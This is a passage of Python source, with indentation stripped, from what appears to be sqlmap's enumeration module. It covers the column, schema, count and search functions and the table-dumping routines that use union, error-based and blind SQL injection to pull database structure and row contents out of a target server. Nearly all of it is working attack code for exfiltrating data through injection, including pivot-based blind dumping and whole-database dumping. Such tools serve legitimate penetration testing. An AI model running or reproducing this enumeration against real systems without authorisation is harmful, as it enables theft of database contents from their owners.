rootQuery = queries[Backend.getIdentifiedDbms()].columns
condition = rootQuery.blind.condition if 'condition' in rootQuery.blind else None
if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR)) or conf.direct:
for tbl in tblList:
if conf.db is not None and len(kb.data.cachedColumns) > 0 \
and conf.db in kb.data.cachedColumns and tbl in \
kb.data.cachedColumns[conf.db]:
infoMsg = "fetched tables' columns on "
infoMsg += "database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
logger.info(infoMsg)
return {conf.db: kb.data.cachedColumns[conf.db]}
infoMsg = "fetching columns "
if len(colList) > 0:
if colTuple is None:
colConsider, colCondParam = self.likeOrExact("column")
else:
colConsider, colCondParam = colTuple
condQueryStr = "%%s%s" % colCondParam
condQuery = " AND (%s)" % " OR ".join(condQueryStr % (condition, unsafeSQLIdentificatorNaming(col)) for col in sorted(colList))
if colConsider == "1":
infoMsg += "like '%s' " % ", ".join(unsafeSQLIdentificatorNaming(col) for col in sorted(colList))
else:
infoMsg += "'%s' " % ", ".join(unsafeSQLIdentificatorNaming(col) for col in sorted(colList))
else:
condQuery = ""
infoMsg += "for table '%s' " % unsafeSQLIdentificatorNaming(tbl)
infoMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
logger.info(infoMsg)
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
query = rootQuery.inband.query % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db))
query += condQuery
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
query = rootQuery.inband.query % unsafeSQLIdentificatorNaming(tbl.upper())
query += condQuery
elif Backend.isDbms(DBMS.MSSQL):
query = rootQuery.inband.query % (conf.db, conf.db, conf.db, conf.db,
conf.db, conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl))
query += condQuery.replace("[DB]", conf.db)
elif Backend.isDbms(DBMS.SQLITE):
query = rootQuery.inband.query % tbl
value = inject.getValue(query, blind=False)
if Backend.isDbms(DBMS.SQLITE):
parseSqliteTableSchema(value)
elif not isNoneValue(value):
table = {}
columns = {}
for columnData in value:
if not isNoneValue(columnData):
name = safeSQLIdentificatorNaming(columnData[0])
if name:
if len(columnData) == 1:
columns[name] = ""
else:
columns[name] = columnData[1]
if conf.db in kb.data.cachedColumns:
kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)] = columns
else:
table[safeSQLIdentificatorNaming(tbl, True)] = columns
kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] = table
elif isInferenceAvailable() and not conf.direct:
for tbl in tblList:
if conf.db is not None and len(kb.data.cachedColumns) > 0 \
and conf.db in kb.data.cachedColumns and tbl in \
kb.data.cachedColumns[conf.db]:
infoMsg = "fetched tables' columns on "
infoMsg += "database '%s'" % conf.db
logger.info(infoMsg)
return {conf.db: kb.data.cachedColumns[conf.db]}
infoMsg = "fetching columns "
if len(colList) > 0:
if colTuple is None:
colConsider, colCondParam = self.likeOrExact("column")
else:
colConsider, colCondParam = colTuple
condQueryStr = "%%s%s" % colCondParam
condQuery = " AND (%s)" % " OR ".join(condQueryStr % (condition, unsafeSQLIdentificatorNaming(col)) for col in sorted(colList))
if colConsider == "1":
infoMsg += "like '%s' " % ", ".join(unsafeSQLIdentificatorNaming(col) for col in sorted(colList))
else:
infoMsg += "'%s' " % ", ".join(unsafeSQLIdentificatorNaming(col) for col in sorted(colList))
else:
condQuery = ""
infoMsg += "for table '%s' " % unsafeSQLIdentificatorNaming(tbl)
infoMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
logger.info(infoMsg)
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
query = rootQuery.blind.count % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db))
query += condQuery
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
query = rootQuery.blind.count % unsafeSQLIdentificatorNaming(tbl.upper())
query += condQuery
elif Backend.getIdentifiedDbms() in DBMS.MSSQL:
query = rootQuery.blind.count % (conf.db, conf.db, \
unsafeSQLIdentificatorNaming(tbl))
query += condQuery.replace("[DB]", conf.db)
elif Backend.isDbms(DBMS.FIREBIRD):
query = rootQuery.blind.count % (tbl)
query += condQuery
elif Backend.isDbms(DBMS.SQLITE):
query = rootQuery.blind.query % tbl
value = inject.getValue(query, inband=False, error=False)
parseSqliteTableSchema(value)
return kb.data.cachedColumns
count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
if not isNumPosStrValue(count):
errMsg = "unable to retrieve the number of columns "
errMsg += "for table '%s' " % unsafeSQLIdentificatorNaming(tbl)
errMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
logger.error(errMsg)
continue
table = {}
columns = {}
indexRange = getLimitRange(count)
for index in indexRange:
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db))
query += condQuery
field = None
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
query = rootQuery.blind.query % unsafeSQLIdentificatorNaming(tbl.upper())
query += condQuery
field = None
elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
query = rootQuery.blind.query % (conf.db, conf.db, conf.db, conf.db,
conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl))
query += condQuery.replace("[DB]", conf.db)
field = condition.replace("[DB]", conf.db)
elif Backend.isDbms(DBMS.FIREBIRD):
query = rootQuery.blind.query % (tbl)
query += condQuery
field = None
query = agent.limitQuery(index, query, field)
column = inject.getValue(query, inband=False, error=False)
if not isNoneValue(column):
if not onlyColNames:
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
query = rootQuery.blind.query2 % (unsafeSQLIdentificatorNaming(tbl), column, unsafeSQLIdentificatorNaming(conf.db))
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
query = rootQuery.blind.query2 % (unsafeSQLIdentificatorNaming(tbl.upper()), column)
elif Backend.isDbms(DBMS.MSSQL):
query = rootQuery.blind.query2 % (conf.db, conf.db, conf.db, conf.db, column, conf.db,
conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl))
elif Backend.isDbms(DBMS.FIREBIRD):
query = rootQuery.blind.query2 % (tbl, column)
colType = inject.getValue(query, inband=False, error=False)
if Backend.isDbms(DBMS.FIREBIRD):
colType = firebirdTypes.get(colType, colType)
column = safeSQLIdentificatorNaming(column)
columns[column] = colType
else:
column = safeSQLIdentificatorNaming(column)
columns[column] = None
if columns:
if conf.db in kb.data.cachedColumns:
kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)] = columns
else:
table[safeSQLIdentificatorNaming(tbl, True)] = columns
kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] = table
if not kb.data.cachedColumns:
errMsg = "unable to retrieve the columns for any "
errMsg += "table in database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
logger.error(errMsg)
if bruteForce is None:
return self.getColumns(onlyColNames=onlyColNames, colTuple=colTuple, bruteForce=True)
return kb.data.cachedColumns
def getSchema(self):
infoMsg = "enumerating database management system schema"
logger.info(infoMsg)
pushValue(conf.db)
pushValue(conf.tbl)
pushValue(conf.col)
conf.db = None
conf.tbl = None
conf.col = None
kb.data.cachedTables = {}
kb.data.cachedColumns = {}
self.getTables()
infoMsg = "fetched tables: "
infoMsg += ", ".join(["%s" % ", ".join("%s%s%s" % (unsafeSQLIdentificatorNaming(db), ".." if \
Backend.isDbms(DBMS.MSSQL) or Backend.isDbms(DBMS.SYBASE) \
else ".", unsafeSQLIdentificatorNaming(t)) for t in tbl) for db, tbl in \
kb.data.cachedTables.items()])
logger.info(infoMsg)
for db, tables in kb.data.cachedTables.items():
for tbl in tables:
conf.db = db
conf.tbl = tbl
self.getColumns()
conf.col = popValue()
conf.tbl = popValue()
conf.db = popValue()
return kb.data.cachedColumns
def __tableGetCount(self, db, table):
if Backend.isDbms(DBMS.DB2):
query = "SELECT %s FROM %s.%s--" % (queries[Backend.getIdentifiedDbms()].count.query % '*', safeSQLIdentificatorNaming(db.upper()), safeSQLIdentificatorNaming(table.upper(), True))
else:
query = "SELECT %s FROM %s.%s" % (queries[Backend.getIdentifiedDbms()].count.query % '*', safeSQLIdentificatorNaming(db), safeSQLIdentificatorNaming(table, True))
count = inject.getValue(query, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
if isNumPosStrValue(count):
if safeSQLIdentificatorNaming(db) not in kb.data.cachedCounts:
kb.data.cachedCounts[safeSQLIdentificatorNaming(db)] = {}
if int(count) in kb.data.cachedCounts[safeSQLIdentificatorNaming(db)]:
kb.data.cachedCounts[safeSQLIdentificatorNaming(db)][int(count)].append(safeSQLIdentificatorNaming(table, True))
else:
kb.data.cachedCounts[safeSQLIdentificatorNaming(db)][int(count)] = [safeSQLIdentificatorNaming(table, True)]
def getCount(self):
if not conf.tbl:
warnMsg = "missing table parameter, sqlmap will retrieve "
warnMsg += "the number of entries for all database "
warnMsg += "management system databases' tables"
logger.warn(warnMsg)
elif "." in conf.tbl:
if not conf.db:
conf.db, conf.tbl = conf.tbl.split(".")
if conf.tbl is not None and conf.db is None:
warnMsg = "missing database parameter, sqlmap is going to "
warnMsg += "use the current database to retrieve the "
warnMsg += "number of entries for table '%s'" % unsafeSQLIdentificatorNaming(conf.tbl)
logger.warn(warnMsg)
conf.db = self.getCurrentDb()
self.forceDbmsEnum()
if conf.tbl:
for table in conf.tbl.split(","):
self.__tableGetCount(conf.db, table)
else:
self.getTables()
for db, tables in kb.data.cachedTables.items():
for table in tables:
self.__tableGetCount(db, table)
return kb.data.cachedCounts
def __pivotDumpTable(self, table, colList, count=None, blind=True):
lengths = {}
entries = {}
dumpNode = queries[Backend.getIdentifiedDbms()].dump_table.blind
validColumnList = False
validPivotValue = False
if not count:
query = dumpNode.count % table
count = inject.getValue(query, inband=False, error=False) if blind else inject.getValue(query, blind=False)
if count == "0":
infoMsg = "table '%s' appears to be empty" % unsafeSQLIdentificatorNaming(table)
logger.info(infoMsg)
for column in colList:
lengths[column] = len(column)
entries[column] = []
return entries, lengths
elif not isNumPosStrValue(count):
return None
for column in colList:
lengths[column] = 0
entries[column] = BigArray()
colList = filter(None, sorted(colList, key=lambda x: len(x) if x else MAX_INT))
for column in colList:
infoMsg = "fetching number of distinct "
infoMsg += "values for column '%s'" % column
logger.info(infoMsg)
query = dumpNode.count2 % (column, table)
if blind:
value = inject.getValue(query, inband=False, error=False)
else:
value = inject.getValue(query, blind=False)
if isNumPosStrValue(value):
validColumnList = True
if value == count:
infoMsg = "using column '%s' as a pivot " % column
infoMsg += "for retrieving row data"
logger.info(infoMsg)
validPivotValue = True
colList.remove(column)
colList.insert(0, column)
break
if not validColumnList:
errMsg = "all column name(s) provided are non-existent"
raise sqlmapNoneDataException, errMsg
if not validPivotValue:
warnMsg = "no proper pivot column provided (with unique values)."
warnMsg += " It's not possible to retrieve all rows."
logger.warn(warnMsg)
pivotValue = " "
breakRetrieval = False
try:
for i in xrange(int(count)):
if breakRetrieval:
break
for column in colList:
# Correction for pivotValues with unrecognized/problematic chars
for char in ('\'', '?'):
if pivotValue and char in pivotValue and pivotValue[0] != char:
pivotValue = pivotValue.split(char)[0]
pivotValue = pivotValue[:-1] + chr(ord(pivotValue[-1]) + 1)
break
if column == colList[0]:
query = dumpNode.query % (column, table, column, pivotValue)
else:
query = dumpNode.query2 % (column, table, colList[0], pivotValue)
if blind:
value = inject.getValue(query, inband=False, error=False)
else:
value = inject.getValue(query, blind=False)
if column == colList[0]:
if isNoneValue(value):
breakRetrieval = True
break
else:
pivotValue = safechardecode(value)
if conf.limitStart or conf.limitStop:
if conf.limitStart and (i + 1) < conf.limitStart:
warnMsg = "skipping first %d pivot " % conf.limitStart
warnMsg += "point values"
singleTimeWarnMessage(warnMsg)
break
elif conf.limitStop and (i + 1) > conf.limitStop:
breakRetrieval = True
break
value = "" if isNoneValue(value) else unArrayizeValue(value)
lengths[column] = max(lengths[column], len(value) if value else 0)
entries[column].append(value)
except KeyboardInterrupt:
warnMsg = "user aborted during enumeration. sqlmap "
warnMsg += "will display partial output"
logger.warn(warnMsg)
except sqlmapConnectionException, e:
errMsg = "connection exception detected. sqlmap "
errMsg += "will display partial output"
errMsg += "'%s'" % e
logger.critical(errMsg)
return entries, lengths
def dumpTable(self, foundData=None):
self.forceDbmsEnum()
if conf.db is None or conf.db == CURRENT_DB:
if conf.db is None:
warnMsg = "missing database parameter, sqlmap is going "
warnMsg += "to use the current database to enumerate "
warnMsg += "table(s) entries"
logger.warn(warnMsg)
conf.db = self.getCurrentDb()
elif conf.db is not None:
if Backend.isDbms(DBMS.ORACLE):
conf.db = conf.db.upper()
if ',' in conf.db:
errMsg = "only one database name is allowed when enumerating "
errMsg += "the tables' columns"
raise sqlmapMissingMandatoryOptionException, errMsg
conf.db = safeSQLIdentificatorNaming(conf.db)
if conf.tbl:
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
conf.tbl = conf.tbl.upper()
tblList = conf.tbl.split(",")
else:
self.getTables()
if len(kb.data.cachedTables) > 0:
tblList = kb.data.cachedTables.values()
if isinstance(tblList[0], (set, tuple, list)):
tblList = tblList[0]
else:
errMsg = "unable to retrieve the tables "
errMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
raise sqlmapNoneDataException, errMsg
for tbl in tblList:
tblList[tblList.index(tbl)] = safeSQLIdentificatorNaming(tbl, True)
for tbl in tblList:
conf.tbl = tbl
kb.data.dumpedTable = {}
if foundData is None:
kb.data.cachedColumns = {}
self.getColumns(onlyColNames=True)
else:
kb.data.cachedColumns = foundData
try:
kb.dumpMode = True
if not safeSQLIdentificatorNaming(conf.db) in kb.data.cachedColumns \
or safeSQLIdentificatorNaming(tbl, True) not in \
kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] \
or not kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)]:
warnMsg = "unable to enumerate the columns for table "
warnMsg += "'%s' in database" % unsafeSQLIdentificatorNaming(tbl)
warnMsg += " '%s'" % unsafeSQLIdentificatorNaming(conf.db)
warnMsg += ", skipping" if len(tblList) > 1 else ""
logger.warn(warnMsg)
continue
colList = sorted(filter(None, kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)].keys()))
colString = ", ".join(column for column in colList)
rootQuery = queries[Backend.getIdentifiedDbms()].dump_table
infoMsg = "fetching entries"
if conf.col:
infoMsg += " of column(s) '%s'" % colString
infoMsg += " for table '%s'" % unsafeSQLIdentificatorNaming(tbl)
infoMsg += " in database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
logger.info(infoMsg)
entriesCount = 0
if any([isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION), isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR), conf.direct]):
entries = []
query = None
if all([Backend.isDbms(DBMS.MYSQL), isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR), conf.groupConcat]):
randStr, randStr2 = randomStr(), randomStr()
filterFunction = "REPLACE(REPLACE(IFNULL(%s, ' '),'%s','%s'),'%s','%s')"\
% ('%s', CONCAT_VALUE_DELIMITER, randStr, CONCAT_ROW_DELIMITER, randStr2)
concats = ",".join("CONCAT(%s, '|')" % (filterFunction % _) for _ in colList[:-1])
concats += ",%s" % (filterFunction % colList[-1])
query = "SELECT GROUP_CONCAT(%s) FROM %s.%s" % (concats, conf.db, tbl)
value = inject.getValue(query, blind=False)
if isinstance(value, basestring):
for line in value.split(CONCAT_ROW_DELIMITER):
row = line.split(CONCAT_VALUE_DELIMITER)
row = map(lambda x: x.replace(randStr, CONCAT_VALUE_DELIMITER).replace(randStr2, CONCAT_ROW_DELIMITER), row)
entries.append(row)
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
query = rootQuery.inband.query % (colString, tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper())))
elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD, DBMS.MAXDB):
query = rootQuery.inband.query % (colString, tbl)
elif Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MSSQL):
# Partial inband and error
if not (isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) and kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.ORIGINAL):
table = "%s.%s" % (conf.db, tbl)
retVal = self.__pivotDumpTable(table, colList, blind=False)
if retVal:
entries, _ = retVal
entries = zip(*[entries[colName] for colName in colList])
else:
query = rootQuery.inband.query % (colString, conf.db, tbl)
elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
query = rootQuery.inband.query % (colString, conf.db, tbl, sorted(colList, key=len)[0])
else:
query = rootQuery.inband.query % (colString, conf.db, tbl)
if not entries and query:
entries = inject.getValue(query, blind=False, dump=True)
if isNoneValue(entries):
entries = []
elif isinstance(entries, basestring):
entries = [entries]
elif not isinstance(entries, (list, tuple)):
entries = []
entriesCount = len(entries)
index = 0
for column in colList:
colLen = len(column)
if column not in kb.data.dumpedTable:
kb.data.dumpedTable[column] = {"length": colLen, "values": []}
for entry in entries:
if entry is None or len(entry) == 0:
continue
if isinstance(entry, basestring):
colEntry = entry
else:
colEntry = entry[index] if index < len(entry) else u''
colEntryLen = len({" ": NULL, "": BLANK}.get(getUnicode(colEntry), getUnicode(colEntry)))
maxLen = max(colLen, colEntryLen)
if maxLen > kb.data.dumpedTable[column]["length"]:
kb.data.dumpedTable[column]["length"] = maxLen
kb.data.dumpedTable[column]["values"].append(colEntry)
index += 1
if not kb.data.dumpedTable and isInferenceAvailable() and not conf.direct:
infoMsg = "fetching number of "
if conf.col:
infoMsg += "column(s) '%s' " % colString
infoMsg += "entries for table '%s' " % unsafeSQLIdentificatorNaming(tbl)
infoMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
logger.info(infoMsg)
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
query = rootQuery.blind.count % (tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper())))
elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD):
query = rootQuery.blind.count % tbl
elif Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MSSQL):
query = rootQuery.blind.count % ("%s.%s" % (conf.db, tbl))
elif Backend.isDbms(DBMS.MAXDB):
query = rootQuery.blind.count % tbl
else:
query = rootQuery.blind.count % (conf.db, tbl)
count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
lengths = {}
entries = {}
if count == 0:
warnMsg = "table '%s' " % unsafeSQLIdentificatorNaming(tbl)
warnMsg += "in database '%s' " % unsafeSQLIdentificatorNaming(conf.db)
warnMsg += "appears to be empty"
logger.warn(warnMsg)
for column in colList:
lengths[column] = len(column)
entries[column] = []
elif not isNumPosStrValue(count):
warnMsg = "unable to retrieve the number of "
if conf.col:
warnMsg += "column(s) '%s' " % colString
warnMsg += "entries for table '%s' " % unsafeSQLIdentificatorNaming(tbl)
warnMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
logger.warn(warnMsg)
continue
elif Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.SYBASE, DBMS.MAXDB, DBMS.MSSQL):
if Backend.isDbms(DBMS.ACCESS):
table = tbl
elif Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MSSQL):
table = "%s.%s" % (conf.db, tbl)
elif Backend.isDbms(DBMS.MAXDB):
table = "%s.%s" % (conf.db, tbl)
retVal = self.__pivotDumpTable(table, colList, count, blind=True)
if retVal:
entries, lengths = retVal
else:
plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2)
indexRange = getLimitRange(count, dump=True, plusOne=plusOne)
try:
for index in indexRange:
for column in colList:
if column not in lengths:
lengths[column] = 0
if column not in entries:
entries[column] = BigArray()
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
query = rootQuery.blind.query % (column, conf.db, conf.tbl, sorted(colList, key=len)[0], index)
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
query = rootQuery.blind.query % (column, column,
tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper())),
index)
elif Backend.isDbms(DBMS.SQLITE):
query = rootQuery.blind.query % (column, tbl, index)
elif Backend.isDbms(DBMS.FIREBIRD):
query = rootQuery.blind.query % (index, column, tbl)
value = inject.getValue(query, inband=False, error=False, dump=True)
lengths[column] = max(lengths[column], len(value) if value else 0)
entries[column].append(value)
except KeyboardInterrupt:
clearConsoleLine()
warnMsg = "Ctrl+C detected in dumping phase"
logger.warn(warnMsg)
for column, columnEntries in entries.items():
length = max(lengths[column], len(column))
kb.data.dumpedTable[column] = {"length": length, "values": columnEntries}
entriesCount = len(columnEntries)
if len(kb.data.dumpedTable) == 0 or (entriesCount == 0 and kb.permissionFlag):
warnMsg = "unable to retrieve the entries "
if conf.col:
warnMsg += "of columns '%s' " % colString
warnMsg += "for table '%s' " % unsafeSQLIdentificatorNaming(tbl)
warnMsg += "in database '%s'%s" % (unsafeSQLIdentificatorNaming(conf.db), " (permission denied)" if kb.permissionFlag else "")
logger.warn(warnMsg)
else:
kb.data.dumpedTable["__infos__"] = {"count": entriesCount,
"table": safeSQLIdentificatorNaming(tbl, True),
"db": safeSQLIdentificatorNaming(conf.db)}
attackDumpedTable()
conf.dumper.dbTableValues(kb.data.dumpedTable)
except sqlmapConnectionException, e:
errMsg = "connection exception detected in dumping phase: "
errMsg += "'%s'" % e
logger.critical(errMsg)
finally:
kb.dumpMode = False
def dumpAll(self):
if conf.db is not None and conf.tbl is None:
self.dumpTable()
return
if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
errMsg = "information_schema not available, "
errMsg += "back-end DBMS is MySQL < 5.0"
raise sqlmapUnsupportedFeatureException, errMsg
infoMsg = "sqlmap will dump entries of all databases' tables now"
logger.info(infoMsg)
conf.tbl = None
conf.col = None
self.getTables()
if kb.data.cachedTables:
if isinstance(kb.data.cachedTables, list):
kb.data.cachedTables = {None : kb.data.cachedTables}
for db, tables in kb.data.cachedTables.items():
conf.db = db
for table in tables:
try:
conf.tbl = table
kb.data.cachedColumns = {}
kb.data.dumpedTable = {}
self.dumpTable()
except sqlmapNoneDataException:
infoMsg = "skipping table '%s'" % table
logger.info(infoMsg)
def dumpFoundColumn(self, dbs, foundCols, colConsider):
if not dbs:
warnMsg = "no databases have tables containing any of the "
warnMsg += "provided columns"
logger.warn(warnMsg)
return
conf.dumper.dbColumns(foundCols, colConsider, dbs)
message = "do you want to dump entries? [Y/n] "
output = readInput(message, default="Y")
if output and output[0] not in ("y", "Y"):
return
dumpFromDbs = []
message = "which database(s)?\n[a]ll (default)\n"
for db, tblData in dbs.items():
if tblData:
message += "[%s]\n" % db
message += "[q]uit"
test = readInput(message, default="a")
if not test or test in ("a", "A"):
dumpFromDbs = dbs.keys()
elif test in ("q", "Q"):
return
else:
dumpFromDbs = test.replace(" ", "").split(",")
for db, tblData in dbs.items():
if db not in dumpFromDbs or not tblData:
continue
conf.db = db
dumpFromTbls = []
message = "which table(s) of database '%s'?\n" % db
message += "[a]ll (default)\n"
for tbl in tblData:
message += "[%s]\n" % tbl
message += "[s]kip\n"
message += "[q]uit"
test = readInput(message, default="a")
if not test or test in ("a", "A"):
dumpFromTbls = tblData
elif test in ("s", "S"):
continue
elif test in ("q", "Q"):
return
else:
dumpFromTbls = test.replace(" ", "").split(",")
for table, columns in tblData.items():
if table not in dumpFromTbls:
continue
conf.tbl = table
conf.col = ",".join(column for column in filter(None, sorted(columns)))
kb.data.cachedColumns = {}
kb.data.dumpedTable = {}
data = self.dumpTable(dbs)
if data:
conf.dumper.dbTableValues(data)
def searchDb(self):
foundDbs = []
rootQuery = queries[Backend.getIdentifiedDbms()].search_db
dbList = conf.db.split(",")
if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
dbCond = rootQuery.inband.condition2
else:
dbCond = rootQuery.inband.condition
dbConsider, dbCondParam = self.likeOrExact("database")
for db in dbList:
db = safeSQLIdentificatorNaming(db)
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
db = db.upper()
infoMsg = "searching database"
if dbConsider == "1":
infoMsg += "s like"
infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(db)
logger.info(infoMsg)
if conf.excludeSysDbs:
exclDbsQuery = "".join(" AND '%s' != %s" % (unsafeSQLIdentificatorNaming(db), dbCond) for db in self.excludeDbsList)
infoMsg = "skipping system database%s '%s'" % ("s" if len(self.excludeDbsList) > 1 else "", ", ".join(db for db in self.excludeDbsList))
logger.info(infoMsg)
else:
exclDbsQuery = ""
dbQuery = "%s%s" % (dbCond, dbCondParam)
dbQuery = dbQuery % unsafeSQLIdentificatorNaming(db)
if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR)) or conf.direct:
if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
query = rootQuery.inband.query2
else:
query = rootQuery.inband.query
query += dbQuery
query += exclDbsQuery
values = inject.getValue(query, blind=False)
if not isNoneValue(values):
if isinstance(values, basestring):
values = [values]
for value in values:
value = safeSQLIdentificatorNaming(value)
foundDbs.append(value)
else:
infoMsg = "fetching number of databases"
if dbConsider == "1":
infoMsg += "s like"
infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(db)
logger.info(infoMsg)
if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
query = rootQuery.blind.count2
else:
query = rootQuery.blind.count
query += dbQuery
query += exclDbsQuery
count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
if not isNumPosStrValue(count):
warnMsg = "no database"
if dbConsider == "1":
warnMsg += "s like"
warnMsg += " '%s' found" % unsafeSQLIdentificatorNaming(db)
logger.warn(warnMsg)
continue
indexRange = getLimitRange(count)
for index in indexRange:
if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
query = rootQuery.blind.query2
else:
query = rootQuery.blind.query
query += dbQuery
query += exclDbsQuery
if Backend.isDbms(DBMS.DB2):
query += ") AS foobar"
query = agent.limitQuery(index, query, dbCond)
value = inject.getValue(query, inband=False, error=False)
value = safeSQLIdentificatorNaming(value)
foundDbs.append(value)
return foundDbs
def searchTable(self):
bruteForce = False
if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
errMsg = "information_schema not available, "
errMsg += "back-end DBMS is MySQL < 5.0"
bruteForce = True
if bruteForce:
message = "do you want to use common table existence check? [Y/n/q]"
test = readInput(message, default="Y")
if test[0] in ("n", "N"):
return
elif test[0] in ("q", "Q"):
raise sqlmapUserQuitException
else:
regex = "|".join(conf.tbl.split(","))
return tableExists(paths.COMMON_TABLES, regex)
rootQuery = queries[Backend.getIdentifiedDbms()].search_table
foundTbls = {}
tblList = conf.tbl.split(",")
tblCond = rootQuery.inband.condition
dbCond = rootQuery.inband.condition2
whereDbsQuery = ""
tblConsider, tblCondParam = self.likeOrExact("table")
for tbl in tblList:
tbl = safeSQLIdentificatorNaming(tbl, True)
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
tbl = tbl.upper()
infoMsg = "searching table"
if tblConsider == "1":
infoMsg += "s like"
infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(tbl)
if conf.db and conf.db != CURRENT_DB:
_ = conf.db.split(",")
whereDbsQuery = " AND (" + " OR ".join("%s = '%s'" % (dbCond, unsafeSQLIdentificatorNaming(db)) for db in _) + ")"
infoMsg += " for database%s '%s'" % ("s" if len(_) > 1 else "", ", ".join(db for db in _))
elif conf.excludeSysDbs:
whereDbsQuery = "".join(" AND '%s' != %s" % (unsafeSQLIdentificatorNaming(db), dbCond) for db in self.excludeDbsList)
infoMsg2 = "skipping system database%s '%s'" % ("s" if len(self.excludeDbsList) > 1 else "", ", ".join(db for db in self.excludeDbsList))
logger.info(infoMsg2)
logger.info(infoMsg)
tblQuery = "%s%s" % (tblCond, tblCondParam)
tblQuery = tblQuery % tbl
if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR)) or conf.direct:
query = rootQuery.inband.query
query += tblQuery
query += whereDbsQuery
values = inject.getValue(query, blind=False)
for foundDb, foundTbl in filterPairValues(values):
foundDb = safeSQLIdentificatorNaming(foundDb)
foundTbl = safeSQLIdentificatorNaming(foundTbl, True)
if foundDb is None or foundTbl is None:
continue
if foundDb in foundTbls:
foundTbls[foundDb].append(foundTbl)
else:
foundTbls[foundDb] = [foundTbl]
else:
infoMsg = "fetching number of databases with table"
if tblConsider == "1":
infoMsg += "s like"
infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(tbl)
logger.info(infoMsg)
query = rootQuery.blind.count
query += tblQuery
query += whereDbsQuery
count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
